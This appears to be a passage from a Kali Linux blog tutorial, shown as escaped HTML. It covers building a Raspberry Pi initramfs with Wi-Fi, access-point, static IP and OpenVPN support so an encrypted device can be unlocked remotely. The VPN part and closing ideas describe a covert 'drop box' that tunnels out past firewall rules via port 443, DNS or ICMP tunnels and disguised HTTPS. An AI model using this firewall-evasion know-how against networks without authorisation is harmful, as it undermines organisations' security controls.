kali@kalipi:~$ lsinitramfs /boot/initramfs.gz | grep -e wpa -e brcm
etc/wpa_supplicant.conf
usr/lib/firmware/brcm
usr/lib/firmware/brcm/BCM-0a5c-6410.hcd
usr/lib/firmware/brcm/BCM-0bb4-0306.hcd
usr/lib/firmware/brcm/BCM43430A1.hcd
usr/lib/firmware/brcm/BCM43430B0.hcd
usr/lib/firmware/brcm/BCM4345C0.hcd
usr/lib/firmware/brcm/BCM4345C5.hcd
usr/lib/firmware/brcm/brcmfmac43430-sdio.bin
usr/lib/firmware/brcm/brcmfmac43430-sdio.rpi.bin
usr/lib/firmware/brcm/brcmfmac43430-sdio.txt
usr/lib/firmware/brcm/brcmfmac43436-sdio.bin
usr/lib/firmware/brcm/brcmfmac43436-sdio.clm_blob
usr/lib/firmware/brcm/brcmfmac43436-sdio.txt
usr/lib/firmware/brcm/brcmfmac43436s-sdio.bin
usr/lib/firmware/brcm/brcmfmac43436s-sdio.txt
usr/lib/firmware/brcm/brcmfmac43455-sdio.bin
usr/lib/firmware/brcm/brcmfmac43455-sdio.clm_blob
usr/lib/firmware/brcm/brcmfmac43455-sdio.nexmon-7_45_154.bin
usr/lib/firmware/brcm/brcmfmac43455-sdio.nexmon-7_45_189.bin
usr/lib/firmware/brcm/brcmfmac43455-sdio.nexmon-7_45_206.bin
usr/lib/firmware/brcm/brcmfmac43455-sdio.rpi.bin
usr/lib/firmware/brcm/brcmfmac43455-sdio.txt
usr/lib/firmware/brcm/brcmfmac43456-sdio.bin
usr/lib/firmware/brcm/brcmfmac43456-sdio.clm_blob
usr/lib/firmware/brcm/brcmfmac43456-sdio.txt
usr/lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/i2c/busses/i2c-brcmstb.ko
usr/lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/net/wireless/broadcom/brcm80211
usr/lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/net/wireless/broadcom/brcm80211/brcmfmac
usr/lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/net/wireless/broadcom/brcm80211/brcmfmac/brcmfmac.ko
usr/lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/net/wireless/broadcom/brcm80211/brcmutil
usr/lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/net/wireless/broadcom/brcm80211/brcmutil/brcmutil.ko
usr/sbin/wpa_cli
usr/sbin/wpa_supplicant
&lt;/code>&lt;/pre>
&lt;p>As we can see from the output, our initramfs has our &lt;strong>modules&lt;/strong>, &lt;strong>firmware&lt;/strong>, and &lt;strong>wpa_supplicant files&lt;/strong> for the Wi-Fi chip the Raspberry Pi 4 uses!&lt;/p>
&lt;p>If you are only interested in using the Raspberry Pi as a Wi-Fi client, you can stop here, and unmount everything like we did in our &lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/">secure Kali Pi&lt;/a> blog post.&lt;/p>
&lt;hr>
&lt;h4 id="static-ip">Static IP&lt;/h4>
&lt;p>If we want to connect to a wireless network &lt;strong>and&lt;/strong> set a static IP, we need to do similar to above. Adding in the wpa_supplicant files, but now we set the IP manually in the &lt;code>/boot/cmdline.txt&lt;/code> file, which is what the Raspberry Pi uses for the kernel command line arguments:&lt;/p>
&lt;pre>&lt;code class="language-plaintext">ip=&amp;lt;client-ip&amp;gt;:&amp;lt;server-ip&amp;gt;:&amp;lt;gw-ip&amp;gt;:&amp;lt;netmask&amp;gt;:&amp;lt;hostname&amp;gt;:&amp;lt;device&amp;gt;:&amp;lt;autoconf&amp;gt;:&amp;lt;dns0-ip&amp;gt;:&amp;lt;dns1-ip&amp;gt;:&amp;lt;ntp0-ip&amp;gt;
&lt;/code>&lt;/pre>
&lt;p>&lt;em>For more information, see the &lt;a href="https://docs.kernel.org/admin-guide/nfs/nfsroot.html">nfsroot kernel documentation&lt;/a>.&lt;/em>&lt;/p>
&lt;p>The important thing is to set the options we need, and leave empty the ones we do not. The default &lt;code>cmdline.txt&lt;/code> has the following in it:&lt;/p>
&lt;pre>&lt;code class="language-shell">kali@kalipi:~$ cat /boot/cmdline.txt
console=serial0,115200 console=tty1 root=PARTUUID=da77a68a-02 rootfstype=ext4 fsck.repair=yes rootwait net.ifnames=0
&lt;/code>&lt;/pre>
&lt;p>The &lt;code>cmdline.txt&lt;/code> requires everything to be on one line, so if we want to set our IP address to &lt;code>192.168.42.3&lt;/code>, with a gateway of &lt;code>192.168.42.1&lt;/code>, our hostname to &lt;code>securekalipi&lt;/code>, for the &lt;code>wlan0&lt;/code> device, our &lt;code>/boot/cmdline.txt&lt;/code> file will look like:&lt;/p>
&lt;pre>&lt;code class="language-plaintext">console=serial0,115200 console=tty1 root=PARTUUID=da77a68a-02 rootfstype=ext4 fsck.repair=yes rootwait net.ifnames=0 ip=192.168.42.3::192.168.42.1:255.255.255.0:securekalipi:wlan0
&lt;/code>&lt;/pre>
&lt;p>As the &lt;a href="https://docs.kernel.org/admin-guide/nfs/nfsroot.html">documentation&lt;/a> states, anything that is not specified uses the default settings, so we simply skip putting anything in between the &lt;code>:&lt;/code> that we want to skip.&lt;/p>
&lt;hr>
&lt;h3 id="access-point-mode">Access Point Mode&lt;/h3>
&lt;div class="notices info">
&lt;p data-header="Info">
You should not use the wireless in both access point mode and client mode at the same time. It &lt;strong>is&lt;/strong> possible, however the networks need to be on the same channels, and we do not cover this in order to keep the blog post simple. You should only use client mode, or access point mode, but not both from this blog post. &lt;em>We will talk about this again at the end of the blog post.&lt;/em>
&lt;/p>
&lt;/div>
&lt;p>Similarly to how we set up connecting our Raspberry Pi to a wireless network as a &lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#wi-fi---client-mode">client&lt;/a>, if we want to set it up as an access point to connect to, we need to add into the initramfs. Like last time, our Wi-Fi drivers, the firmware just this time, its different software and configurations.&lt;/p>
&lt;p>The package you would use on Linux to set up an access point is &lt;a href="https://w1.fi/hostapd/">hostapd&lt;/a> which does not come installed by default, so we will install it first.&lt;/p>
&lt;p>As always, before we install software, we update what packages are available to ensure we are installing the newest version:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ sudo apt update
Hit:1 http://http.re4son-kernel.com/re4son kali-pi InRelease
Hit:2 http://kali.download/kali kali-rolling InRelease
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
All packages are up to date.
kali@kalipi:~$
kali@kalipi:~$ sudo apt install hostapd
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
hostapd
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
[...]
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Now we will set it up and test it, to make sure everything works, before we add it to our initramfs to use:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ sudo vim /etc/hostapd/hostapd.conf
&lt;/code>&lt;/pre>
&lt;p>Our configuration will have us create a network on channel 7, with a network name of &lt;strong>SecureKaliPi&lt;/strong>, and a password of &lt;strong>SecureKaliPiWiFi&lt;/strong>.&lt;/p>
&lt;div class="notices info">
&lt;p data-header="Info">
To use WPA2 the passphrase should be between 8 and 64 characters in length.
&lt;/p>
&lt;/div>
&lt;pre>&lt;code class="language-plaintext">country_code=US
interface=wlan0
ssid=SecureKaliPi
hw_mode=g
channel=7
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_psk=16270ab793c4420e0c3dd6bf46ede4f10bd71ffbe6a79998dc70ccd8dea18680
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
&lt;/code>&lt;/pre>
&lt;p>The PSK is a value derived from the SSID of the network and the password. The easiest way to get this is very similar to the way we created the wpa_supplicant.conf file &lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#wi-fi---client-mode">above&lt;/a> - we run &lt;code>wpa_passphrase SecureKaliPi SecureKaliPiWiFi&lt;/code> and then we copy the psk line that is not the plaintext password:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ wpa_passphrase SecureKaliPi SecureKaliPiWiFi
network={
ssid=&amp;quot;SecureKaliPi&amp;quot;
#psk=&amp;quot;SecureKaliPiWiFi&amp;quot;
psk=16270ab793c4420e0c3dd6bf46ede4f10bd71ffbe6a79998dc70ccd8dea18680
}
&lt;/code>&lt;/pre>
&lt;p>You can, and should, change the configuration to match your needs. If you would like to set it up to use 5GHz, you would need to change &lt;code>hw_mode=g&lt;/code> to &lt;code>hw_mode=a&lt;/code>, but keep in mind that if you are using 5GHz you need to change the channel. &lt;a href="https://en.wikipedia.org/wiki/List_of_WLAN_channels">Wikipedia&lt;/a> has a list of allowed combinations for different countries.&lt;/p>
&lt;hr>
&lt;p>One setting you may want to change as well, is the &lt;code>ignore_broadcast_ssid&lt;/code> setting.&lt;/p>
&lt;p>If we read the &lt;a href="https://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf">default configuration file&lt;/a>, we can see that this option is what will allow us to hide our SSID from being broadcast:&lt;/p>
&lt;pre>&lt;code class="language-plaintext"># Send empty SSID in beacons and ignore probe request frames that do not
# specify full SSID, i.e., require stations to know SSID.
# default: disabled (0)
# 1 = send empty (length=0) SSID in beacon and ignore probe request for
# broadcast SSID
# 2 = clear SSID (ASCII 0), but keep the original length (this may be required
# with some clients that do not support empty SSID) and ignore probe
# requests for broadcast SSID
ignore_broadcast_ssid=0
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Now that we have written our &lt;code>hostapd.conf&lt;/code> we can quickly test if it works by running:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ sudo /usr/sbin/hostapd /etc/hostapd/hostapd.conf
wlan0: interface state UNINITIALIZED-&amp;gt;COUNTRY_UPDATE
wlan0: interface state COUNTRY_UPDATE-&amp;gt;ENABLED
wlan0: AP-ENABLED
&lt;/code>&lt;/pre>
&lt;p>If everything is set up correctly, you should see the above output. If you get any errors, you will need to correct those and re-run the command.&lt;/p>
&lt;hr>
&lt;p>Now that hostapd is set up, and we have tested that it works, lets add it to our initramfs.&lt;/p>
&lt;p>Because we need to add some binaries to the initramfs, we also need to include any dependencies that may be needed. So first we check which binary we need:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ dpkg -L hostapd | grep bin
/usr/sbin
/usr/sbin/hostapd
/usr/sbin/hostapd_cli
&lt;/code>&lt;/pre>
&lt;p>We need the hostapd binary, and to check its dependencies we will run &lt;a href="https://manpages.debian.org/testing/manpages/ldd.1.en.html">ldd&lt;/a> which tells us what libraries the binary depends on:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ ldd /usr/sbin/hostapd
linux-vdso.so.1 (0x0000007f89561000)
libnl-3.so.200 =&amp;gt; /lib/aarch64-linux-gnu/libnl-3.so.200 (0x0000007f892e2000)
libnl-genl-3.so.200 =&amp;gt; /lib/aarch64-linux-gnu/libnl-genl-3.so.200 (0x0000007f892c1000)
libnl-route-3.so.200 =&amp;gt; /lib/aarch64-linux-gnu/libnl-route-3.so.200 (0x0000007f89219000)
libdl.so.2 =&amp;gt; /lib/aarch64-linux-gnu/libdl.so.2 (0x0000007f891f8000)
libssl.so.3 =&amp;gt; /lib/aarch64-linux-gnu/libssl.so.3 (0x0000007f89144000)
libcrypto.so.3 =&amp;gt; /lib/aarch64-linux-gnu/libcrypto.so.3 (0x0000007f88cfe000)
libm.so.6 =&amp;gt; /lib/aarch64-linux-gnu/libm.so.6 (0x0000007f88c5d000)
libc.so.6 =&amp;gt; /lib/aarch64-linux-gnu/libc.so.6 (0x0000007f88aaf000)
/lib/ld-linux-aarch64.so.1 (0x0000007f89524000)
&lt;/code>&lt;/pre>
&lt;p>Because &lt;code>hostapd&lt;/code> also uses &lt;code>iw&lt;/code> to control its interfaces, we need to also include it. And like above, we want to check the dependencies it uses:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ ldd /usr/sbin/iw
linux-vdso.so.1 (0x0000007fba486000)
libnl-genl-3.so.200 =&amp;gt; /lib/aarch64-linux-gnu/libnl-genl-3.so.200 (0x0000007fba3c0000)
libnl-3.so.200 =&amp;gt; /lib/aarch64-linux-gnu/libnl-3.so.200 (0x0000007fba37f000)
libc.so.6 =&amp;gt; /lib/aarch64-linux-gnu/libc.so.6 (0x0000007fba1d1000)
/lib/ld-linux-aarch64.so.1 (0x0000007fba449000)
&lt;/code>&lt;/pre>
&lt;p>As we can see, &lt;code>hostapd&lt;/code> and &lt;code>iw&lt;/code> rely on a number of libraries that will need to be in the initramfs.&lt;/p>
&lt;p>So we create a hook to include hostapd with these additional libraries so the hostapd and iw binaries can run, &lt;code>/etc/initramfs-tools/hooks/hostapd&lt;/code>:&lt;/p>
&lt;pre>&lt;code class="language-bash">#!/bin/sh
set -e
PREREQ=&amp;quot;&amp;quot;
prereqs()
{
echo &amp;quot;${PREREQ}&amp;quot;
}
case &amp;quot;${1}&amp;quot; in
prereqs)
prereqs
exit 0
;;
esac
. /usr/share/initramfs-tools/hook-functions
copy_exec /usr/sbin/hostapd /sbin
copy_exec /usr/sbin/iw
# Find our library directory and copy files from there
LIBC_DIR=$(ldd /usr/sbin/hostapd | sed -nr 's#.* =&amp;gt; (/lib.*)/libc\.so\.[0-9.-]+ \(0x[[:xdigit:]]+\)$#\1#p')
find -L &amp;quot;$LIBC_DIR&amp;quot; -maxdepth 1 -name 'libnss_files.*' -type f | while read so; do
copy_exec &amp;quot;$so&amp;quot;
done
# Copy in the libnl librares that hostapd and iw depend on
copy_exec &amp;quot;/lib/aarch64-linux-gnu/libnl-route-3.so.200&amp;quot;
copy_exec &amp;quot;/lib/aarch64-linux-gnu/libnl-genl-3.so.200&amp;quot;
copy_exec &amp;quot;/lib/aarch64-linux-gnu/libnl-3.so.200&amp;quot;
# Copy our hostapd.conf file
copy_file config /etc/hostapd/hostapd.conf /etc/hostapd
# Add Wi-Fi drivers
WIFI_DRIVERS=&amp;quot;brcmfmac brcmutil cfg80211 rfkill&amp;quot;
for x in ${WIFI_DRIVERS}; do
manual_add_modules ${x}
done
# Add Wi-Fi firmware
echo &amp;quot;Copying firmware files for brcm to initramfs&amp;quot;
cp -r /lib/firmware/brcm ${DESTDIR}/lib/firmware/
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Now we add our script, which sets our IP address (&lt;code>192.168.42.1/24&lt;/code>) for the access point as well as makes hostapd, and DHCP server run, &lt;code>/etc/initramfs-tools/scripts/init-premount/hostapd&lt;/code>. We will address the networking side after this script:&lt;/p>
&lt;pre>&lt;code class="language-bash">#!/bin/sh
set -e
PREQ=&amp;quot;udev network&amp;quot;
prereqs() {
echo &amp;quot;$PREREQ&amp;quot;
}
case &amp;quot;$1&amp;quot; in
prereqs)
prereqs
exit 0
;;
esac
run_hostapd() {
ifconfig wlan0 up
ifconfig wlan0 192.168.42.1 netmask 255.255.255.0 broadcast 192.168.42.255
route add 192.168.42.0/24 dev wlan0
exec udhcpd /etc/udhcpd.conf
exec /sbin/hostapd /etc/hostapd/hostapd.conf
}
. /scripts/functions
sleep 10
run_hostapd &amp;amp;
echo $! &amp;gt;/run/hostapd.pid
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Additionally, we want to start a DHCP server so that when we connect to the Raspberry Pi&amp;rsquo;s access point, we get an IP address. Normally, you would use a package like &lt;a href="https://wiki.debian.org/DHCP_Server">isc-dhcp-server&lt;/a> to run a DHCP server, but since we have already got busybox which has a DHCP server applet enabled in the initramfs, we will just use that instead. We do not need a fully featured DHCP server just to unlock our Raspberry Pi and let it finish booting.&lt;/p>
&lt;p>First we set up the configuration file for it &lt;code>/etc/udhcpd.conf&lt;/code> with the following information:&lt;/p>
&lt;pre>&lt;code class="language-plaintext">start 192.168.42.2 # IP address range to give out
end 192.168.42.100 # Last IP address to give out
interface wlan0 # Device that the DHCP server listens on
remaining yes #
opt router 192.168.42.1 # The Raspberry Pi's IP address to use on wlan0
opt subnet 255.255.255.0 #
opt dns 8.8.8.8 4.2.2.2 # DNS servers to pass (not really required for our needs)
opt lease 600 # 10 minute DHCP lease
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>And we create our hook which copies in our DHCP config, &lt;code>/etc/initramfs-tools/hooks/udhcpd&lt;/code>:&lt;/p>
&lt;pre>&lt;code class="language-bash">#!/bin/sh
set -e
PREREQ=&amp;quot;&amp;quot;
prereqs()
{
echo &amp;quot;${PREREQ}&amp;quot;
}
case &amp;quot;${1}&amp;quot; in
prereqs)
prereqs
exit 0
;;
esac
. /usr/share/initramfs-tools/hook-functions
# Copy our hostapd.conf file
copy_file config /etc/udhcpd.conf /etc/udhcpd.conf
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Like our previous hooks and scripts, we need to make sure the executable flag is set:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/hooks/hostapd
kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/hooks/udhcpd
kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/scripts/init-premount/hostapd
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>And now that everything is in place for hostapd support, we need to build the initramfs so that it has our changes in there:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ mkinitramfs -o /boot/initramfs.gz 5.15.44-Re4son-v8l+
kali@kalipi:~$
kali@kalipi:~$ lsinitramfs /boot/initramfs.gz | grep -e hostapd -e udhcpd
etc/hostapd
etc/udhcpd.conf
scripts/init-premount/hostapd
usr/sbin/hostapd
usr/sbin/udhcpd
&lt;/code>&lt;/pre>
&lt;p>Once we see all the parts are there, we are able to reboot the Raspberry Pi and we should see our Wi-Fi network from another machine.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/images/secure-kalipi-wifi.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/images/secure-kalipi-wifi.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Connect to it, and we should be able to unlock the device via SSH!&lt;/p>
&lt;hr>
&lt;h2 id="wired-connection">Wired Connection&lt;/h2>
&lt;p>By default, the wired connection on a Raspberry Pi will attempt to use DHCP to connect to a network when it is plugged in. You may want to set a static IP, we need to do similar to &lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#wi-fi---static-ip">above&lt;/a>, and set the IP manually in the &lt;code>/boot/cmdline.txt&lt;/code> file, which is what the Raspberry Pi uses for the kernel command line arguments.&lt;/p>
&lt;h3 id="static-ip-1">Static IP&lt;/h3>
&lt;p>The default &lt;code>/boot/cmdline.txt&lt;/code> is set to:&lt;/p>
&lt;pre>&lt;code class="language-shell">kali@kalipi:~$ cat /boot/cmdline.txt
console=serial0,115200 console=tty1 root=PARTUUID=da77a68a-02 rootfstype=ext4 fsck.repair=yes rootwait net.ifnames=0
&lt;/code>&lt;/pre>
&lt;p>The format of &lt;code>/boot/cmdline.txt&lt;/code> should look similar to:&lt;/p>
&lt;pre>&lt;code class="language-plaintext">ip=&amp;lt;client-ip&amp;gt;:&amp;lt;server-ip&amp;gt;:&amp;lt;gw-ip&amp;gt;:&amp;lt;netmask&amp;gt;:&amp;lt;hostname&amp;gt;:&amp;lt;device&amp;gt;:&amp;lt;autoconf&amp;gt;:&amp;lt;dns0-ip&amp;gt;:&amp;lt;dns1-ip&amp;gt;:&amp;lt;ntp0-ip&amp;gt;
&lt;/code>&lt;/pre>
&lt;p>&lt;code>/boot/cmdline.txt&lt;/code> requires everything to be on one line, so if we want to set our IP address to &lt;code>192.168.42.3&lt;/code>, with a gateway of &lt;code>192.168.42.1&lt;/code>, our hostname to &lt;code>securekalipi&lt;/code>, for the &lt;code>eth0&lt;/code> device, our &lt;code>/boot/cmdline.txt&lt;/code> file will look like:&lt;/p>
&lt;pre>&lt;code class="language-plaintext">console=serial0,115200 console=tty1 root=PARTUUID=da77a68a-02 rootfstype=ext4 fsck.repair=yes rootwait net.ifnames=0 ip=192.168.42.3::192.168.42.1:255.255.255.0:securekalipi:eth0
&lt;/code>&lt;/pre>
&lt;p>As the &lt;a href="https://docs.kernel.org/admin-guide/nfs/nfsroot.html">documentation&lt;/a> states, anything that is not specified uses the default settings, so we simply skip putting anything in between the &lt;code>:&lt;/code> that we want to skip.
And we tell it to use the &lt;code>eth0&lt;/code> device, as that is the default device name for ethernet on the Raspberry Pi.&lt;/p>
&lt;hr>
&lt;h2 id="vpn-tunnel">VPN Tunnel&lt;/h2>
&lt;div class="notices info">
&lt;p data-header="Info">
Before we go over connecting to a VPN, it is important to note that the information will be stored in the initramfs file, &lt;strong>unencrypted&lt;/strong>.
This particular use case is &lt;strong>NOT&lt;/strong> about securing the connection, but instead using the VPN to tunnel out of the network to bypass various firewall rules. As such, this connection should be treated as if the traffic is clear text.
&lt;/p>
&lt;/div>
&lt;p>After we have got our device connected to the network, great! We are now wanting to remotely connect to it. Due to firewalls on the network, being able to directly SSH into the device will be next to impossible (as we cannot do port forwarding). So we are needing the device to connect back to us (bind vs reverse)! You may opt for a SSH reverse connection, where the device continuously polls back home, however, we have opted to use a VPN.
You may wish to use OpenVPN, WireGuard, or something else. We have opted for OpenVPN, however we are not going to cover how to set up and secure an OpenVPN server.&lt;/p>
&lt;p>Regardless of the reverse service used, network traffic may be filtered by firewall rules which may limit what services can be used. For example SSH (22/TCP) or OpenVPN (1194/UDP) default ports may not be allowed out. As a result, think of what typical end-users may often use the network for. Commonly you see a lot of web traffic, so HTTPS (&lt;code>443/TCP&lt;/code>) should hopefully give a higher chance of success, such as HTTPS (&lt;code>443/TCP&lt;/code>)! &lt;em>We will talk about this again at the end of the blog post.&lt;/em>&lt;/p>
&lt;p>If you have created a new private network by starting an &lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#wifi---access-point">access point&lt;/a>, there is not going to be an upstream gateway configured. As a result, the VPN tunnel will not be able to connect to the internet. You will need to find another way to get online, by either using another mode (&lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#wi-fi---client-mode">Wi-Fi client&lt;/a>), or another interface (wired ethernet, mobile hotspot etc).&lt;/p>
&lt;hr>
&lt;p>As always, to use OpenVPN before the system is booted we need our hook to copy the OpenVPN software and our client configuration in to our initramfs.&lt;/p>
&lt;p>First up is the hook. This copies the software, its dependencies, and our configuration file into the initramfs. We gathered this information the same way we did with &lt;code>hostapd&lt;/code> above, so we will not go over that again.&lt;/p>
&lt;p>The OpenVPN hook, &lt;code>/etc/initramfs-tools/hooks/openvpn&lt;/code>:&lt;/p>
&lt;pre>&lt;code class="language-bash">#!/bin/sh
set -e
PREREQ=&amp;quot;&amp;quot;
prereqs() {
echo &amp;quot;$PREREQ&amp;quot;
}
case &amp;quot;$1&amp;quot; in
prereqs)
prereqs
exit 0
;;
esac
. /usr/share/initramfs-tools/hook-functions
[ -r /etc/crypttab ] || exit 0
copy_exec /usr/sbin/openvpn /sbin
copy_exec &amp;quot;/lib/aarch64-linux-gnu/libzstd.so.1&amp;quot;
copy_exec &amp;quot;/lib/aarch64-linux-gnu/libnsl.so.1&amp;quot;
copy_exec &amp;quot;/lib/aarch64-linux-gnu/liblzo2.so.2&amp;quot;
copy_exec &amp;quot;/lib/aarch64-linux-gnu/libresolv.so.2&amp;quot;
copy_exec &amp;quot;/lib/aarch64-linux-gnu/libpkcs11-helper.so.1&amp;quot;
copy_exec &amp;quot;/lib/aarch64-linux-gnu/libm.so.6&amp;quot;
# Copy in our configuration file and username/password files
cp -p /etc/initramfs-tools/openvpn/client/* ${DESTDIR}/etc/openvpn/client/
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>And then we have to add our OpenVPN script to run in the initramfs, that uses our configuration file to connect to our OpenVPN server. Because this is running before there is any way to interact with the system, we also need to be able to pass the username and password somehow.
A quick check of the &lt;a href="https://manpages.debian.org/testing/openvpn/openvpn.8.en.html">openvpn man page&lt;/a> shows us:&lt;/p>
&lt;blockquote>
&lt;p>&lt;code>--auth-user-pass&lt;/code>&lt;/p>
&lt;p>Authenticate with server using username/password.&lt;/p>
&lt;p>Valid syntaxes:&lt;/p>
&lt;p>&lt;code>auth-user-pass&lt;/code>&lt;/p>
&lt;p>&lt;code>auth-user-pass up&lt;/code>&lt;/p>
&lt;p>If up is present, it must be a file containing username/password on 2 lines. If the password line is missing, OpenVPN will prompt for &amp;gt; one.&lt;/p>
&lt;p>If up is omitted, username/password will be prompted from the console.&lt;/p>
&lt;/blockquote>
&lt;p>The option we want is &lt;code>--auth-user-pass up&lt;/code>. So we will create a file called &lt;code>up&lt;/code> with our username (&lt;code>dropboxuser&lt;/code>) on the first line, and password (&lt;code>pass123&lt;/code>) on the second line:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ echo dropboxuser | sudo tee /etc/openvpn/client/up
[...]
kali@kalipi:~$ echo pass123 | sudo tee -a /etc/openvpn/client/up
&lt;/code>&lt;/pre>
&lt;p>If your VPN connection does not require a username/password, you can remove the &lt;code>--auth-user-pass /etc/openvpn/up&lt;/code> in the &lt;code>vpnflags&lt;/code> variable below.&lt;/p>
&lt;hr>
&lt;p>The script, which starts OpenVPN, &lt;code>/etc/initramfs-tools/scripts/init-premount/openvpn&lt;/code>:&lt;/p>
&lt;pre>&lt;code class="language-bash">#!/bin/sh
set -e
PREREQ=&amp;quot;udev networking&amp;quot;
prereqs() {
echo &amp;quot;$PREREQ&amp;quot;
}
case &amp;quot;$1&amp;quot; in
prereqs)
prereqs
exit 0
;;
esac
[ -x /sbin/openvpn ] || exit 0
run_openvpn() {
local vpnflags=&amp;quot;--suppress-timestamps --nobind --config /etc/openvpn/client/openvpn.conf --auth-user-pass /etc/openvpn/client/up&amp;quot;
log_begin_msg &amp;quot;Starting OpenVPN&amp;quot;
exec /sbin/openvpn $vpnflags
ifconfig -a
}
. /scripts/functions
sleep 40
run_openvpn &amp;amp;
echo $! &amp;gt;/run/openvpn.pid
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>And like with the others, we make sure our hooks and scripts are executable:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/hooks/openvpn
kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/scripts/init-premount/openvpn
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>And now that everything is in place for connecting to OpenVPN, we need to build the initramfs so that it has our changes in there:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ mkinitramfs -o /boot/initramfs.gz 5.15.44-Re4son-v8l+
kali@kalipi:~$
kali@kalipi:~$ lsinitramfs /boot/initramfs.gz | grep -e openvpn
etc/openvpn
etc/openvpn/client
etc/openvpn/client/up
scripts/init-premount/openvpn
usr/sbin/openvpn
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Now that the initramfs is updated, and we see that our changes are in there, we are able to reboot the Raspberry Pi. Once it starts booting, and once the network connection is available, it should connect to our OpenVPN server.&lt;/p>
&lt;p>You will want to test this in your home lab, before you deploy it anywhere, to make sure it&amp;rsquo;s working:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ ssh kali@172.16.20.2
The authenticity of host '172.16.20.2' can't be established.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.20.2' (ECDSA) to the list of known hosts.
kali@172.16.20.2's password:
Linux kali-raspberry-pi 5.15.44-Re4son-v8+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) aarch64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(kali㉿kali-raspberry-pi)-[~]
└─$
&lt;/code>&lt;/pre>
&lt;hr>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>In this blog post, we have covered gathering information about our device, in this case it was a Raspberry Pi, but the information gathering holds true for any device running Kali that you might want to unlock remotely.&lt;/p>
&lt;p>We also covered setting a static IP for both wired and Wi-Fi networks, setting up an access point, and using an OpenVPN connection, these are not specific to the Raspberry Pi, aside from the firmware and module for the Wi-Fi device.&lt;/p>
&lt;p>We hope you found this blog post helpful, and if you have any questions or comments, please check out the &lt;a href="https://discord.kali.org/">Kali Discord&lt;/a> server.&lt;/p>
&lt;h3 id="food-for-thought">Food for Thought&lt;/h3>
&lt;p>To expand on this future, some improvements which we came up with:&lt;/p>
&lt;ul>
&lt;li>Rather than tunneling over OpenVPN, use other tools (such as &lt;a href="https://www.kali.org/tools/dnscat2/">dnscat2&lt;/a>), ICMP (such as &lt;a href="https://www.kali.org/tools/ptunnel/">ptunnel&lt;/a>) or a mixture of all three!&lt;/li>
&lt;li>Encapsulate the OpenVPN traffic (such as &lt;a href="https://www.kali.org/tools/stunnel4/">stunnel&lt;/a>), making it legit HTTPS data, rather than only using default port&lt;/li>
&lt;li>Using WireGuard rather than OpenVPN&lt;/li>
&lt;li>Mobile connectivity (using an external 3G/4G/LTE adapter)&lt;/li>
&lt;li>Adding fall back method(s) - If Wi-Fi client is not working, create then a Wi-Fi access point&lt;/li>
&lt;li>&amp;ldquo;WLAN Knocking&amp;rdquo; - The Raspberry Pi is monitoring for a certain SSID being broadcasted &lt;em>(maybe from a certain MAC address)&lt;/em>, when detected, only then perform an action&lt;/li>
&lt;/ul>
&lt;p>We are sure you can also think outside of the box, and come up with additional ideas too. Please &lt;a href="https://twitter.com/kalilinux">tweet&lt;/a> us your ideas, and progress with your drop box!&lt;/p>
&lt;hr>
&lt;h2 id="additional-resources">Additional Resources&lt;/h2>
